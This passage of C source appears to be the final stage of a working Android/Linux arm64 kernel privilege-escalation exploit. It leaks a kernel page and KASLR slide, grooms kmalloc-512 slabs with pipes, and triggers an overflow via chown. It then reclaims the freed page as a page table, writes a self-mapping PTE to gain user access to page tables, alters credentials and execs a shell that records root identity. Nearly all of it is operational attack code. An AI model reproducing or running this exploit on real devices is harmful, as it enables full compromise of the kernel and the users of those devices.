		say("E2E entry off=%zu page=0x%llx off32=%u len=%u flags=0x%x "
		    "ops=0x%llx ok=%d", off, (unsigned long long)pg, o32,
		    l32, fl, (unsigned long long)ops, ok);
		if (!ok) {
			say("E2E FAIL window entry");
			goto keepalive;
		}
		page = pg;
		slide = ops - ANON_OPS_STATIC;
		if (slide & 0x1fffffULL) {
			say("E2E FAIL slide alignment");
			goto keepalive;
		}
	}
	say("E2E leak page=0x%llx slide=0x%llx anon_ops=0x%llx",
	    (unsigned long long)page, (unsigned long long)slide,
	    (unsigned long long)(ANON_OPS_STATIC + slide));

	/* Track the leaked page's refcount through the release window.  The
	 * proc files stay open so no file allocation happens between the hit
	 * close and the fault. */
	g_pfn = page_pfn(page);
	if (pginfo_open())
		say("E2E WARN pginfo open failed");
	g_cnt_leak = kpage_u64(g_kc, g_pfn);
	g_flags_leak = kpage_u64(g_kf, g_pfn);
	say("E2E pginfo leak pfn=%llu cnt=%llu flags=0x%llx",
	    (unsigned long long)g_pfn, (unsigned long long)g_cnt_leak,
	    (unsigned long long)g_flags_leak);

	if (preload_sid(sid_id, DEFAULT_OPS_STATIC + slide, page)) {
		say("E2E FAIL trigger sid preload");
		goto keepalive;
	}
	say("E2E preload trigger id=%u table=0x%llx page=0x%llx", sid_id,
	    (unsigned long long)(DEFAULT_OPS_STATIC + slide),
	    (unsigned long long)page);

	/* Arm the reclaim probes early so their own allocations stay out of
	 * the plan->free window; enabling them there would consume the freed
	 * slab's remaining slots and switch the active slab. */
	{
		char spec[512];

		snprintf(spec, sizeof(spec),
			 "%s prep_new_page page=%%x0 order=%%x1 gfp=%%x2 "
			 "caller=%%lr", ev_pal);
		if (probe_add(spec) ||
		    probe_filter(ev_pal, "page == 0x%llx",
				 (unsigned long long)page) ||
		    probe_enable(ev_pal, 1)) {
			say("E2E FAIL pal probe");
			goto keepalive;
		}
		snprintf(spec, sizeof(spec),
			 "%s __alloc_pages_noprof ret=$retval", ev_gal);
		if (probe_add_r(spec) ||
		    probe_filter(ev_gal, "common_pid == %d", g_pid) ||
		    probe_enable(ev_gal, 1))
			say("E2E WARN gal probe failed");
		snprintf(spec, sizeof(spec), "%s __pte_alloc", ev_pteg);
		if (probe_add(spec) ||
		    probe_filter(ev_pteg, "common_pid == %d", g_pid) ||
		    probe_enable(ev_pteg, 1))
			say("E2E WARN pteg probe failed");
		snprintf(spec, sizeof(spec),
			 "%s __alloc_pages_noprof ret=$retval", ev_galg);
		if (probe_add_r(spec) ||
		    probe_filter(ev_galg, "common_pid == %d", g_pid) ||
		    probe_enable(ev_galg, 1))
			say("E2E WARN galg probe failed");
		snprintf(spec, sizeof(spec),
			 "%s free_unref_page page=%%x0 order=%%x1", ev_frp);
		if (probe_add(spec) ||
		    probe_filter(ev_frp,
				 "page == 0x%llx && common_pid == %d",
				 (unsigned long long)page, g_pid) ||
		    probe_enable(ev_frp, 1))
			say("E2E WARN frp probe failed");
		/* Release-path diagnostics: did close(H) run the buffer release,
		 * did it reach put_page(page)=P and refcount zero, and was the
		 * free seen in another task? */
		snprintf(spec, sizeof(spec), "%s __folio_put page=%%x0",
			 ev_fp);
		if (probe_add(spec) ||
		    probe_filter(ev_fp, "page == 0x%llx",
				 (unsigned long long)page) ||
		    probe_enable(ev_fp, 1))
			say("E2E WARN fp probe failed");
		snprintf(spec, sizeof(spec),
			 "%s generic_pipe_buf_release page=+0(%%x1):u64",
			 ev_gpr);
		if (probe_add(spec) ||
		    probe_filter(ev_gpr, "page == 0x%llx",
				 (unsigned long long)page) ||
		    probe_enable(ev_gpr, 1))
			say("E2E WARN gpr probe failed");
		snprintf(spec, sizeof(spec), "%s free_pipe_info pipe=%%x0",
			 ev_fpi);
		if (probe_add(spec) ||
		    probe_filter(ev_fpi, "common_pid == %d", g_pid) ||
		    probe_enable(ev_fpi, 1))
			say("E2E WARN fpi probe failed");
		snprintf(spec, sizeof(spec),
			 "%s free_unref_page page=%%x0 order=%%x1", ev_frp2);
		if (probe_add(spec) ||
		    probe_filter(ev_frp2, "page == 0x%llx",
				 (unsigned long long)page) ||
		    probe_enable(ev_frp2, 1))
			say("E2E WARN frp2 probe failed");
		snprintf(spec, sizeof(spec),
			 "%s free_unref_page page=%%x0 order=%%x1", ev_frpc);
		if (probe_add(spec) ||
		    probe_filter(ev_frpc, "common_pid == %d", g_pid) ||
		    probe_enable(ev_frpc, 1))
			say("E2E WARN frpc probe failed");
		/* Follow the close path itself: file release, pipe refcount,
		 * then free_pipe_info. */
		snprintf(spec, sizeof(spec),
			 "%s pipe_release pipe=+32(%%x1):u64 "
			 "mode=+12(%%x1):u32", ev_prl);
		if (probe_add(spec) ||
		    probe_filter(ev_prl, "common_pid == %d", g_pid) ||
		    probe_enable(ev_prl, 1))
			say("E2E WARN prl probe failed");
		snprintf(spec, sizeof(spec),
			 "%s put_pipe_info inode=%%x0 pipe=%%x1", ev_ppi);
		if (probe_add(spec) ||
		    probe_filter(ev_ppi, "common_pid == %d", g_pid) ||
		    probe_enable(ev_ppi, 1))
			say("E2E WARN ppi probe failed");
		say("E2E reclaim probes created page=0x%llx",
		    (unsigned long long)page);
	}

	/* ---------- stage 2: trigger + reclaim ---------- */

	pin_cpu(cpu2);
	map = mmap(NULL, MAP_LEN, PROT_READ | PROT_WRITE,
		   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map == MAP_FAILED) {
		say("E2E FAIL mmap errno=%d (%s)", errno, strerror(errno));
		goto keepalive;
	}
	if (madvise(map, MAP_LEN, MADV_NOHUGEPAGE)) {
		say("E2E FAIL madvise errno=%d (%s)", errno, strerror(errno));
		goto keepalive;
	}
	/* Drop the mapping and re-map the same range so page tables left
	 * behind by earlier VMAs in these 2 MiB slots are freed; otherwise the
	 * exploit fault finds an existing PTE page and never allocates one. */
	{
		void *m2;

		munmap(map, MAP_LEN);
		m2 = mmap(map, MAP_LEN, PROT_READ | PROT_WRITE,
			  MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
		if (m2 != map) {
			say("E2E FAIL remap errno=%d (%s)", errno,
			    strerror(errno));
			goto keepalive;
		}
		if (madvise(map, MAP_LEN, MADV_NOHUGEPAGE)) {
			say("E2E FAIL madvise2 errno=%d", errno);
			goto keepalive;
		}
	}
	say("E2E remap ok");
	if (choose_slots((unsigned long)map, MAP_LEN, &base, &pre)) {
		say("E2E FAIL no 2M slot pair in one 1G region");
		goto keepalive;
	}
	/* Re-map the target slot itself so any leftover PTE table for this
	 * 2 MiB range is freed; the exploit fault must allocate it. */
	{
		void *mb;

		munmap((void *)base, PMD_SIZE);
		mb = mmap((void *)base, PMD_SIZE, PROT_READ | PROT_WRITE,
			  MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
		if (mb != (void *)base) {
			say("E2E FAIL slot remap errno=%d", errno);
			goto keepalive;
		}
		if (madvise((void *)base, PMD_SIZE, MADV_NOHUGEPAGE))
			say("E2E WARN slot madvise errno=%d", errno);
	}
	say("E2E slot remap base=%#lx", base);
	((volatile unsigned char *)pre)[0] = 0x50;
	say("E2E map=%p base=%#lx pre=%#lx", map, base, pre);
	say("E2E precheck base=%d pre=%d", resident((void *)base),
	    resident((void *)pre));

	/* The alloc probes would record two events per pipe page allocated
	 * during the creation burst; that alone overflows the per-CPU ring and
	 * destroys the pre events the address parse needs.  They are turned
	 * back on right after the parse, before the free block. */
	probe_enable(ev_gal, 0);
	probe_enable(ev_galg, 0);
	trace_on(0);
	trace_clear();
	trace_on(1);
	/* Interleaved per-iteration hunt: each iteration creates one hit pipe
	 * and one target pipe, so both ring arrays land in the CPU's current
	 * kmalloc-512 slab.  The plan is taken from that slab as soon as eight
	 * of its target slots have a hit-pipe neighbour: the slab is the
	 * active one and still partially free, so freeing those eight slots
	 * keeps the LIFO placement law (SD lands at f(7-h), h in 0..6) and
	 * every landing overflows into a live hit pipe buffer. */
	probe_enable(ev_gal, 0);
	probe_enable(ev_galg, 0);
	trace_on(0);
	trace_clear();
	trace_on(1);
	target_ok = 0;
	hunt_cands = 0;
	ntgt = -1;
	/* Each hunt step only needs its own two ring-resize events. */
	g_trcap = 1UL << 20;
	{
		int i2;

		for (i2 = 0; i2 < MAX_HIT; i2++) {
			uint64_t ev[2];
			int ne, jj, cnt = 0;

			trace_clear();
			if (pipe2(hit[i2], 0) < 0)
				break;
			if (fcntl(hit[i2][0], F_SETPIPE_SZ, 32768) != 32768)
				break;
			if (write(hit[i2][1], "P", 1) != 1)
				break;
			if (pipe2(tgt[i2], 0) < 0)
				break;
			if (fcntl(tgt[i2][0], F_SETPIPE_SZ, 32768) != 32768)
				break;
			tr = trace_read(&trlen);
			if (!tr)
				break;
			ne = trace_kp_list(tr, tag_pre, ev, 2);
			free(tr);
			tr = NULL;
			if (ne != 2)
				break;
			hits[i2].addr = ev[0];
			hits[i2].idx = i2;
			taddr[i2] = ev[1];
			qsort(hits, (size_t)(i2 + 1), sizeof(*hits), cmp_addr);
			{
				uint64_t slab =
					taddr[i2] & ~(KBYTES_SLAB - 1);

				for (jj = 0; jj <= i2; jj++) {
					uint64_t a = taddr[jj];

					if ((a & ~(KBYTES_SLAB - 1)) !=
					    slab)
						continue;
					if ((a & (KBYTES_SLAB - 1)) ==
					    KBYTES_SLAB - KBYTES_SLOT)
						continue;
					if (addr_index(hits, i2 + 1,
						       a + KBYTES_SLOT) >= 0)
						cnt++;
				}
				hunt_cands = cnt;
				if (cnt >= 8) {
					target_ok = 1;
					ntgt = i2;
					break;
				}
			}
		}
	}
	if (target_ok) {
		uint64_t slab = taddr[ntgt] & ~(KBYTES_SLAB - 1);
		int n = 0, jj;

		for (jj = 0; jj <= ntgt && n < 8; jj++) {
			uint64_t a = taddr[jj];
			int jx;

			if ((a & ~(KBYTES_SLAB - 1)) != slab)
				continue;
			if ((a & (KBYTES_SLAB - 1)) ==
			    KBYTES_SLAB - KBYTES_SLOT)
				continue;
			jx = addr_index(hits, ntgt + 1, a + KBYTES_SLOT);
			if (jx < 0)
				continue;
			tpos[n] = jj;
			thitpos[n] = jx;
			n++;
		}
		if (n != 8)
			target_ok = 0;
	}
	if (!target_ok) {
		say("E2E FAIL no trigger slab after %d targets (cands=%d)",
		    ntgt + 1, hunt_cands);
		goto keepalive;
	}
	X = taddr[tpos[0]];
	j = thitpos[0];
	/* Free the eight slots and chown with no kmalloc-512 allocation in
	 * between (the says and probe re-enables happen after the chown):
	 * the plan slab has to stay the CPU's active slab until the
	 * descriptor allocation lands in it. */
	{
		long r[8], rc;
		int ec = 0, kk;

		for (kk = 0; kk < 8; kk++) {
			errno = 0;
			r[kk] = fcntl(tgt[tpos[kk]][0], F_SETPIPE_SZ,
				      16384);
		}
		errno = 0;
		rc = chown(trig_path, sid_id, sid_id);
		ec = errno;
		g_trcap = 32UL << 20;
		probe_enable(ev_gal, 1);
		probe_enable(ev_galg, 1);
		/* Tracing stays on through the close and the faults: the gate
		 * needs the release and fault allocation events.  It is only
		 * turned off after the post-fault probe read. */
		say("E2E trigger slab=0x%llx slots=%d t=%d/%d/%d/%d/%d/%d/%d/%d hit=%d/%d/%d/%d/%d/%d/%d/%d",
		    (unsigned long long)(taddr[tpos[0]] &
					 ~(KBYTES_SLAB - 1)),
		    hunt_cands, tpos[0], tpos[1], tpos[2], tpos[3], tpos[4],
		    tpos[5], tpos[6], tpos[7], thitpos[0], thitpos[1],
		    thitpos[2], thitpos[3], thitpos[4], thitpos[5],
		    thitpos[6], thitpos[7]);
		say("E2E trig6 t=%d/%d/%d/%d/%d/%d/%d/%d hit=%d/%d/%d/%d/%d/%d/%d/%d rc=%ld/%ld/%ld/%ld/%ld/%ld/%ld/%ld chown=%ld e=%d",
		    tpos[0], tpos[1], tpos[2], tpos[3], tpos[4], tpos[5],
		    tpos[6], tpos[7], thitpos[0], thitpos[1], thitpos[2],
		    thitpos[3], thitpos[4], thitpos[5], thitpos[6],
		    thitpos[7], r[0], r[1], r[2], r[3], r[4], r[5], r[6],
		    r[7], rc, ec);
		if (r[0] != 16384 || r[1] != 16384 || r[2] != 16384 ||
		    r[3] != 16384 || r[4] != 16384 || r[5] != 16384 ||
		    r[6] != 16384 || r[7] != 16384) {
			say("E2E FAIL trig free");
			goto keepalive;
		}
	}
	{
		uint64_t tsd = 0;

		tr = trace_read(&trlen);
		if (tr) {
			char *copy = strdup(tr), *line = strtok(copy, "\n");
			int shown = 0, nsd = 0;

			if (trace_kp_last(tr, tag_sd, &tsd) == 0)
				say("E2E trig sdt sd=0x%llx MAIN=0x%llx hit=%d",
				    (unsigned long long)tsd,
				    (unsigned long long)X, j);
			else
				say("E2E trig sdt missing trace=%zu", trlen);
			while (line && (shown < 10 || nsd < 3)) {
				if (strstr(line, tag_sd)) {
					nsd++;
					say("E2E trig sline: %.150s", line);
				}
				if (strstr(line, tag_km) ||
				    strstr(line, tag_kmn) ||
				    strstr(line, tag_kmt)) {
					say("E2E trig alloc: %.150s", line);
					shown++;
				}
				line = strtok(NULL, "\n");
			}
			free(copy);
			free(tr);
			tr = NULL;
		}
		probe_enable(ev_km, 0);
	}
	{
		int hit_sel = -1, kk, v;

		for (kk = 0; kk < 8; kk++) {
			if (thitpos[kk] < 0)
				continue;
			v = -1;
			if (!ioctl(hit[thitpos[kk]][0], FIONREAD, &v) &&
			    v == 0x1234) {
				hit_sel = thitpos[kk];
				say("E2E hit landed pos=%d hit=%d", kk,
				    hit_sel);
				break;
			}
		}
		if (hit_sel < 0) {
			say("E2E FAIL hit verify (no slot has 0x1234)");
			goto keepalive;
		}
		j = hit_sel;
	}
	say("E2E prewrite base=%d pte1=%d", resident((void *)base),
	    resident((void *)(base + 4096)));
	g_cnt_preclose = kpage_u64(g_kc, g_pfn);
	g_flags_preclose = kpage_u64(g_kf, g_pfn);
	say("E2E pginfo preclose cnt=%llu flags=0x%llx",
	    (unsigned long long)g_cnt_preclose,
	    (unsigned long long)g_flags_preclose);
	say("E2E closing hit %d", j);
	/* Keep the close->fault window free of ordinary same-CPU tasks so
	 * nothing else can pop P from the per-CPU page list first. */
	{
		struct sched_param sp;

		sp.sched_priority = 10;
		if (sched_setscheduler(0, SCHED_FIFO, &sp))
			say("E2E WARN rt fifo errno=%d", errno);
		else
			say("E2E rt fifo on");
	}
	{
		int cr0, cr1, ce0, ce1;

		errno = 0;
		cr0 = close(hit[j][0]);
		ce0 = errno;
		errno = 0;
		cr1 = close(hit[j][1]);
		ce1 = errno;
		g_rc0 = cr0;
		g_rc1 = cr1;
		g_e0 = ce0;
		g_e1 = ce1;
		hit[j][0] = hit[j][1] = -1;
	}
	/* Pread only: no file allocation inside the release window. */
	g_cnt_postclose = kpage_u64(g_kc, g_pfn);

	((volatile unsigned char *)base)[0] = 0x41;
	((volatile unsigned char *)(base + 4096))[0] = 0x42;
	{
		int r0 = resident((void *)base);
		int r1 = resident((void *)(base + 4096));
		struct sched_param sp;

		sp.sched_priority = 0;
		sched_setscheduler(0, SCHED_OTHER, &sp);
		g_cnt_postfault = kpage_u64(g_kc, g_pfn);
		g_flags_postfault = kpage_u64(g_kf, g_pfn);
		say("E2E mincore pre base=%d pte1=%d", r0, r1);
		say("E2E close rc=%d/%d e=%d/%d", g_rc0, g_rc1, g_e0, g_e1);
		say("E2E pginfo postclose cnt=%llu postfault cnt=%llu flags=0x%llx",
		    (unsigned long long)g_cnt_postclose,
		    (unsigned long long)g_cnt_postfault,
		    (unsigned long long)g_flags_postfault);
		if (r0 != 1 || r1 != 1) {
			say("E2E FAIL mincore pre");
			goto keepalive;
		}
	}

	trace_on(0);
	tr = trace_read(&trlen);
	if (!tr) {
		say("E2E FAIL gate trace read");
		goto keepalive;
	}
	{
		char *copy = strdup(tr);
		char *line = copy ? strtok(copy, "\n") : NULL;
		int gate_ok = 0, pal_seen = 0, gal_seen = 0, gpid = -1;
		int pteg_seen = 0, galg_seen = 0, pteg_own = 0, galg_own = 0;
		int frp_seen = 0, frp2_seen = 0, frpc_seen = 0;
		int fp_seen = 0, gpr_seen = 0, fpi_seen = 0;
		int prl_seen = 0, ppi_seen = 0;
		int ln = 0, first_pteg = -1, first_rel = -1;
		uint64_t gpage = 0, gfp = 0, order = 0, caller = 0;
		char gate_line[512] = "";

		while (line) {
			ln++;
			if (!pal_seen && strstr(line, tag_pal) &&
			    find_field(line, "page=", &gpage, 16) == 0 &&
			    gpage == page) {
				pal_seen = 1;
				line_pid(line, &gpid);
				find_field(line, "gfp=", &gfp, 16);
				find_field(line, "order=", &order, 16);
				find_field(line, "caller=", &caller, 16);
				snprintf(gate_line, sizeof(gate_line), "%s",
					 line);
				/* Only a page-table allocation counts: P taken by a
				 * movable data page (gfp has __GFP_MOVABLE=0x8 or
				 * lacks __GFP_COMP) must not pass the gate. */
				if (gpid == g_pid && order == 0 &&
				    !(gfp & 0x8ULL) && (gfp & 0x40000ULL))
					gate_ok = 1;
			} else if (strstr(line, tag_gal)) {
				uint64_t rv = 0;

				gal_seen++;
				/* Require the allocating call site to be
				 * __pte_alloc, not an anon data page that stole P
				 * from the movable PCP list. */
				if (parse_ret(line, &rv) == 0 && rv == page &&
				    strstr(line, "__pte_alloc"))
					gate_ok = 1;
				if (gal_seen <= 6)
					say("E2E gal: %.160s", line);
			} else if (strstr(line, tag_pteg)) {
				int lp = -1;

				pteg_seen++;
				if (first_pteg < 0)
					first_pteg = ln;
				line_pid(line, &lp);
				if (lp == g_pid && pteg_own < 8) {
					pteg_own++;
					say("E2E pteg-own: %.160s", line);
				}
				if (pteg_seen <= 4)
					say("E2E pteg: %.160s", line);
			} else if (strstr(line, tag_galg)) {
				int lp = -1;

				galg_seen++;
				line_pid(line, &lp);
				if (lp == g_pid && galg_own < 8) {
					galg_own++;
					say("E2E galg-own: %.160s", line);
				}
				if (galg_seen <= 4)
					say("E2E galg: %.160s", line);
			} else if (strstr(line, tag_frp)) {
				frp_seen++;
				if (first_rel < 0)
					first_rel = ln;
				if (frp_seen <= 4)
					say("E2E frp: %.160s", line);
			} else if (strstr(line, tag_frp2)) {
				frp2_seen++;
				if (first_rel < 0)
					first_rel = ln;
				if (frp2_seen <= 4)
					say("E2E frp2: %.160s", line);
			} else if (strstr(line, tag_frpc)) {
				frpc_seen++;
				if (frpc_seen <= 3)
					say("E2E frpc: %.160s", line);
			} else if (strstr(line, tag_fp)) {
				fp_seen++;
				if (first_rel < 0)
					first_rel = ln;
				if (fp_seen <= 4)
					say("E2E fp: %.160s", line);
			} else if (strstr(line, tag_gpr)) {
				gpr_seen++;
				if (first_rel < 0)
					first_rel = ln;
				if (gpr_seen <= 4)
					say("E2E gpr: %.160s", line);
			} else if (strstr(line, tag_fpi)) {
				fpi_seen++;
				if (fpi_seen <= 4)
					say("E2E fpi: %.160s", line);
			} else if (strstr(line, tag_prl)) {
				prl_seen++;
				if (prl_seen <= 4)
					say("E2E prl: %.160s", line);
			} else if (strstr(line, tag_ppi)) {
				ppi_seen++;
				if (ppi_seen <= 4)
					say("E2E ppi: %.160s", line);
			}
			line = strtok(NULL, "\n");
		}
		if (copy)
			free(copy);
		say("E2E gate pal_seen=%d gal_seen=%d pteg_seen=%d galg_seen=%d frp_seen=%d pteg_own=%d galg_own=%d pid=%d gfp=0x%llx order=%llu caller=0x%llx ok=%d",
		    pal_seen, gal_seen, pteg_seen, galg_seen, frp_seen,
		    pteg_own, galg_own, gpid, (unsigned long long)gfp,
		    (unsigned long long)order, (unsigned long long)caller,
		    gate_ok);
		say("E2E gate2 frp2=%d frpc=%d fp=%d gpr=%d fpi=%d prl=%d ppi=%d rel_before_pteg=%d first_pteg=%d first_rel=%d",
		    frp2_seen, frpc_seen, fp_seen, gpr_seen, fpi_seen,
		    prl_seen, ppi_seen,
		    (first_rel >= 0 &&
		     (first_pteg < 0 || first_rel < first_pteg)),
		    first_pteg, first_rel);
		probe_enable(ev_pal, 0);
		probe_enable(ev_gal, 0);
		probe_enable(ev_pteg, 0);
		probe_enable(ev_galg, 0);
		probe_enable(ev_frp, 0);
		probe_enable(ev_frp2, 0);
		probe_enable(ev_frpc, 0);
		probe_enable(ev_fp, 0);
		probe_enable(ev_gpr, 0);
		probe_enable(ev_fpi, 0);
		probe_enable(ev_prl, 0);
		probe_enable(ev_ppi, 0);
		if (gate_line[0])
			say("E2E gate line: %s", gate_line);
		{
			int fd = open(GATE_FILE, O_WRONLY | O_CREAT | O_TRUNC,
				      0644);

			if (fd >= 0) {
				if (gate_line[0])
					write(fd, gate_line,
					      strlen(gate_line));
				close(fd);
			}
		}
		if (!gate_ok) {
			say("E2E GATE_FAIL (pollution event logged; no merge)");
			say("E2E RESULT FAIL gate");
			goto keepalive;
		}
		say("E2E gate PASS");
	}

	if (!merge) {
		say("E2E DRY_OK gate passed; merge skipped");
		say("E2E RESULT DRY_OK");
		goto keepalive;
	}

	{
		static unsigned char payload[MERGE_LEN];
		uint64_t pfn = page_pfn(page);
		uint64_t selfpte = (pfn << 12) | 0x0028000000000F43ULL;
		ssize_t n;

		/* The buffer now holds 16 bytes, so the merge starts at P+16
		 * (PTE[2]).  The first eight bytes are a self-map page
		 * descriptor pointing at P with user RW attributes (DBM|PXN,
		 * AttrIndx 0, AP=01, SH=3, AF, nG); the rest stays zero. */
		memset(payload, 0, sizeof(payload));
		memcpy(payload, &selfpte, sizeof(selfpte));
		errno = 0;
		n = write(obs[obs_idx][1], payload, MERGE_LEN);
		say("E2E merge obs=%d write=%zd errno=%d (%s) selfpte=0x%llx",
		    obs_idx, n, errno, strerror(errno),
		    (unsigned long long)selfpte);
		if (n != MERGE_LEN) {
			say("E2E RESULT FAIL merge");
			goto keepalive;
		}
	}
	{
		int r0 = resident((void *)base);
		int r1 = resident((void *)(base + 4096));
		int r2 = resident((void *)(base + 8192));
		uint64_t pte0 = 0;
		int faulted = 0;

		say("E2E mincore post base=%d pte1=%d selfmap=%d", r0, r1, r2);
		{
			struct sigaction sa;

			memset(&sa, 0, sizeof(sa));
			sa.sa_handler = segv_handler;
			sigaction(SIGSEGV, &sa, NULL);
			sigaction(SIGBUS, &sa, NULL);
		}
		if (sigsetjmp(g_jb, 1) == 0) {
			/* PTE[2] maps P itself: the load reads PTE[0] through
			 * the user mapping of the page table page, then the
			 * same table entry is copied into PTE[3] and the anon
			 * page of base is read back at base+12 KiB. */
			pte0 = *(volatile uint64_t *)(base + 8192);
			*(volatile uint64_t *)(base + 8192 + 24) = pte0;
			if (*(volatile unsigned char *)(base + 3 * 4096) !=
			    0x41)
				faulted = 1;
		} else {
			faulted = 1;
		}
		say("E2E selfmap pte0=0x%llx faulted=%d",
		    (unsigned long long)pte0, faulted);
		if (r0 == 1 && r2 == 1 && !faulted &&
		    (pte0 & 0x3) == 0x3) {
			say("E2E RESULT SUCCESS");
			if (scout) {
				int sr, cred_ok = 0;

				say("E2E scout start");
				sr = scout_task_cred(base, page);
				if (cred_mode && sr == 0) {
					if (sigsetjmp(g_jb, 1) == 0) {
						if (cred_stage(base) == 0)
							cred_ok = 1;
					} else {
						say("E2E cred FAULT");
					}
				}
				/* Drop the temporary kernel mappings so the mm
				 * teardown at cleanup only sees the self-map. */
				{
					volatile uint64_t *self =
						(volatile uint64_t *)
							(base + 8192);
					int kk;

					for (kk = 3; kk < 512; kk++)
						self[kk] = 0;
				}
				say("E2E scout cleaned");
				if (cred_ok) {
					volatile uint64_t *self =
						(volatile uint64_t *)
							(base + 8192);

					say("E2E cred exec sh");
					/* Disarm the self-map so execve's mm
					 * teardown only sees normal anon
					 * PTEs. */
					self[2] = 0;
					asm volatile("" ::: "memory");
					execl("/system/bin/sh", "sh", "-c",
					      "id > /data/local/tmp/e2e/root_shell.txt 2>&1;"
					      " whoami >> /data/local/tmp/e2e/root_shell.txt;"
					      " getenforce >> /data/local/tmp/e2e/root_shell.txt;"
					      " grep -E '^(Uid|Gid|Cap)' /proc/self/status >> /data/local/tmp/e2e/root_shell.txt;"
					      " cat /data/local/tmp/e2e/root_shell.txt >> /data/local/tmp/e2e/e2e_status.txt;"
					      " echo 'E2E cred shell done' >> /data/local/tmp/e2e/e2e_status.txt",
					      (char *)NULL);
					say("E2E cred exec failed errno=%d (%s)",
					    errno, strerror(errno));
				}
			}
		} else {
			say("E2E RESULT FAIL mincore");
		}
	}

keepalive:
	say("E2E keepalive pid=%d; cleanup by reboot", (int)getpid());
	for (;;) {
		ts.tv_sec = 3600;
		ts.tv_nsec = 0;
		nanosleep(&ts, NULL);
	}
	return 0;
}